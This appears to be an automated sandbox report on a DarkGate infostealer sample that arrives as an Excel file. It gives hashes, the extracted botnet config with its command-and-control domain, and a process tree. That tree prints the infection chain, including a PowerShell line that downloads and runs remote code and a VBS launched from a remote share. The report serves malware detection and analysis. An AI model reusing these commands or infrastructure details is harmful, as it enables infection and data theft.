darkgate | 63d68e0bb8e196c50e60df65fbd50eabbc21857cb1af6d3efab22c3bf44995ff

General

Target

re-march-26-2024-9794.xlsx
Size

65KB
MD5

af440ea16bf075f844e20296bba223cd
SHA1

dfa83aba0e634dfc83ff1f7a8cff6f334be7ac8d
SHA256

63d68e0bb8e196c50e60df65fbd50eabbc21857cb1af6d3efab22c3bf44995ff
SHA512

bf05569ecbafcad7eed5624153156d117bf1a9eb6921ef54ca65a7375169d231b4f883a4243a7634d97490c4fa058ae76016e5728eb70486c2d0a3882d45723b
SSDEEP

1536:VvAi3OnslDGe2eGyIvJhaaO5Ny4iUvRB75d/wSgE9pgyjxOqTU:JlOsj4yIRAzHiE/7n/tgE9pgyjxi

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

backupitfirst.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
SfUQxDje
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/4388-72-0x0000000003150000-0x00000000031C3000-memory.dmp	family_darkgate_v6
behavioral2/memory/4388-74-0x0000000003150000-0x00000000031C3000-memory.dmp	family_darkgate_v6

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4340	4844	WScript.exe	87

Blocklisted process makes network request 4 IoCs

flow	pid	Process
73	3788	powershell.exe
77	3788	powershell.exe
84	3788	powershell.exe
91	3788	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
4388	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4844	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3788	powershell.exe
3788	powershell.exe
3788	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3788	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4844	EXCEL.EXE
4844	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4844 wrote to memory of 4340	4844	EXCEL.EXE	101
PID 4844 wrote to memory of 4340	4844	EXCEL.EXE	101
PID 4340 wrote to memory of 3788	4340	WScript.exe	102
PID 4340 wrote to memory of 3788	4340	WScript.exe	102
PID 3788 wrote to memory of 4388	3788	powershell.exe	107
PID 3788 wrote to memory of 4388	3788	powershell.exe	107
PID 3788 wrote to memory of 4388	3788	powershell.exe	107
PID 3788 wrote to memory of 3576	3788	powershell.exe	108
PID 3788 wrote to memory of 3576	3788	powershell.exe	108

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3576	attrib.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\re-march-26-2024-9794.xlsx"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4844
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\170.130.55.130\share\a\Report-26-2024.vbs"
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'backupitfirst.com/rudxfiyb')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3788
  - - C:\rqzo\AutoHotkey.exe
      "C:\rqzo\AutoHotkey.exe" C:/rqzo/script.ahk
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:4388
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:/rqzo/
      4⤵
      Views/modifies file attributes
      PID:3576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jkmqwgdq.4om.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\rqzo\AutoHotkey.exe

Filesize
892KB

MD5
a59a2d3e5dda7aca6ec879263aa42fd3

SHA1
312d496ec90eb30d5319307d47bfef602b6b8c6c

SHA256
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

SHA512
852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

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C:\rqzo\script.ahk

Filesize
56KB

MD5
cc881012bc30b053b9e6b763f4fff1ed

SHA1
ac366539edd526b083f630828090a519812f72f9

SHA256
08037bf46f2e4d7654b2f4d9073ed9eababb35b538927dcae5ed665ad7b4e1c6

SHA512
3c520d67cfc7d12f96577cf29c373ebe68dafc59f68fc5dd7d6b772944dbe40a01836f51b87c83486adb751b9b293609d768d7b151614845da13e58d9c2c647d

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C:\rqzo\test.txt

Filesize
916KB

MD5
5c3a3407c64b7585324a29a08005a3a8

SHA1
956a7788aa0e397e973ab5623d4aae73b1ca2658

SHA256
89445e407e345c8c4a8606210787957db44c4ec1acec6a17dfe7e78203f4ca40

SHA512
fe13844cff959a87523246f85cf357fd1adcdcffdc8b603f28ec26f4dcb2f26b76f243a042a7c2089776a737e3f7578214709ebc97eed7849e4c56e4825cbecb

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memory/3788-42-0x0000022AEAF20000-0x0000022AEAF42000-memory.dmp

Filesize
136KB

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memory/3788-69-0x00007FFEDC0F0000-0x00007FFEDCBB1000-memory.dmp

Filesize
10.8MB

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memory/3788-51-0x0000022AEB770000-0x0000022AEB932000-memory.dmp

Filesize
1.8MB

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memory/3788-50-0x0000022AEAF50000-0x0000022AEAF60000-memory.dmp

Filesize
64KB

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memory/3788-48-0x0000022AEAF50000-0x0000022AEAF60000-memory.dmp

Filesize
64KB

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memory/3788-47-0x00007FFEDC0F0000-0x00007FFEDCBB1000-memory.dmp

Filesize
10.8MB

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memory/4388-74-0x0000000003150000-0x00000000031C3000-memory.dmp

Filesize
460KB

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memory/4388-72-0x0000000003150000-0x00000000031C3000-memory.dmp

Filesize
460KB

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memory/4844-9-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-12-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-14-0x00007FFEC5810000-0x00007FFEC5820000-memory.dmp

Filesize
64KB

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memory/4844-16-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-17-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-15-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-18-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-19-0x00007FFEC5810000-0x00007FFEC5820000-memory.dmp

Filesize
64KB

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memory/4844-32-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-33-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-34-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-35-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-36-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-13-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-11-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-10-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-49-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-0-0x00007FFEC7950000-0x00007FFEC7960000-memory.dmp

Filesize
64KB

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memory/4844-6-0x00007FFEC7950000-0x00007FFEC7960000-memory.dmp

Filesize
64KB

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memory/4844-8-0x00007FFEC7950000-0x00007FFEC7960000-memory.dmp

Filesize
64KB

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memory/4844-7-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-2-0x00007FFEC7950000-0x00007FFEC7960000-memory.dmp

Filesize
64KB

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memory/4844-5-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-4-0x00007FFEC7950000-0x00007FFEC7960000-memory.dmp

Filesize
64KB

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memory/4844-3-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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memory/4844-1-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

Filesize
2.0MB

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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